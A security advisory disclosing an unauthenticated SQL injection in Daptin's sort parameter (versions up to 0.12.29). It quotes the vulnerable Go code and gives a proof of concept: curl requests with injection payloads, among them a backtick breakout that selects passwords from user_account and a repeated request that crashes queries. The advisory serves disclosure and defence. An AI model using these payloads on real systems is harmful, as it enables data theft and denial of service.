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A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 0.12.29
Patched in 0.12.30
Details
An unauthenticated attacker can inject arbitrary SQL through the sort query parameter accepted by
Daptin's generic entity list endpoint (GET /api/<entity>), which every table in a Daptin instance
exposes. The parameter is concatenated into raw SQL identifiers with no validation that the
referenced column exists, unlike a sibling code path in the same file that received exactly this
validation as the fix for a previously published advisory
(GHSA-rw2c-8rfq-gwfv).
Impact ranges from unauthenticated denial of service (a single crafted request 500s the query) to
blind/error-based extraction of data from tables the requester has no permission to read.
PaginatedFindAllWithoutFilters in server/resource/resource_findallpaginated.go reads the sort
query parameter directly from the request with no validation:
// server/resource/resource_findallpaginated.go:300-302
var sortOrder []string
if len(req.QueryParams["sort"]) > 0 {
sortOrder = req.QueryParams["sort"]
Each entry is then concatenated with the table name and passed to goqu.I() (goqu's raw SQL
identifier constructor) in two separate places, with no check that the referenced column exists
on the table:
// server/resource/resource_findallpaginated.go:435-449 (SELECT column list)
for _, sort := range sortOrder {
...
if strings.Index(sort, "(") == -1 {
sort = prefix + sort
}
idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, ".", "_")))
}
// server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause)
for _, so := range sortOrder {
...
orders = append(orders, goqu.I(ord).Asc())
}
goqu.I() renders its argument by wrapping it in the dialect's quote character (a backtick, in
this build's configured dialect) without escaping an embedded quote character of the same kind.
A backtick supplied in sort closes the identifier early, and the remainder of the attacker string
is parsed as raw SQL grammar rather than treated as inert column-name text.
This is the same bug class as GHSA-rw2c-8rfq-gwfv ("SQL injection via unvalidated goqu.L() calls
in aggregate API", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines
later in the same file, in the fuzzy-search code path:
// server/resource/resource_findallpaginated.go:1491-1505
// Validate each column against table schema (prevents SQL injection via goqu.L)
tableInfo := dbResource.tableInfo
var validColumns []string
for _, col := range columns {
if _, ok := tableInfo.GetColumnByName(col); ok {
validColumns = append(validColumns, col)
} else {
log.Warnf(...)
}
}
The identical validation was never applied to the base sort parameter handling earlier in the
same file. Unlike fuzzy search (which requires an explicit filter operator to reach), plain sort
is processed on every list request to every entity, authenticated or not.
Build current HEAD and run it with a fresh SQLite database and no custom schema:
go build -buildvcs=false -o daptin_bin .
./daptin_bin
No account needs to exist. world (and most default tables) are guest-readable, so all requests
below are sent with no Authorization header at all:
# 1) Reflection -- proves raw, unsanitized concatenation
curl -s -G "http://localhost:6336/api/world" --data-urlencode 'sort=email" --'
# => {"errors":[{"status":"500","title":"no such column: world.email\" --"}]}
# Server log shows the exact constructed query:
# SELECT distinct(user_account.id), `user_account`.`email" --` AS `user_account_email" --`
# FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email" --` ASC LIMIT ? == [10]
# 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text
curl -s -G "http://localhost:6336/api/user_account" \
--data-urlencode 'sort=id`,(select password from user_account limit 1)'
# => {"errors":[{"status":"500","title":"near \"``\": syntax error"}]}
# 3) Zero credentials, reliable across repeated attempts
for i in 1 2 3; do
curl -s -o /dev/null -w "%{http_code}\n" -G "http://localhost:6336/api/world" \
--data-urlencode 'sort=`x'
done
# => 500 / 500 / 500
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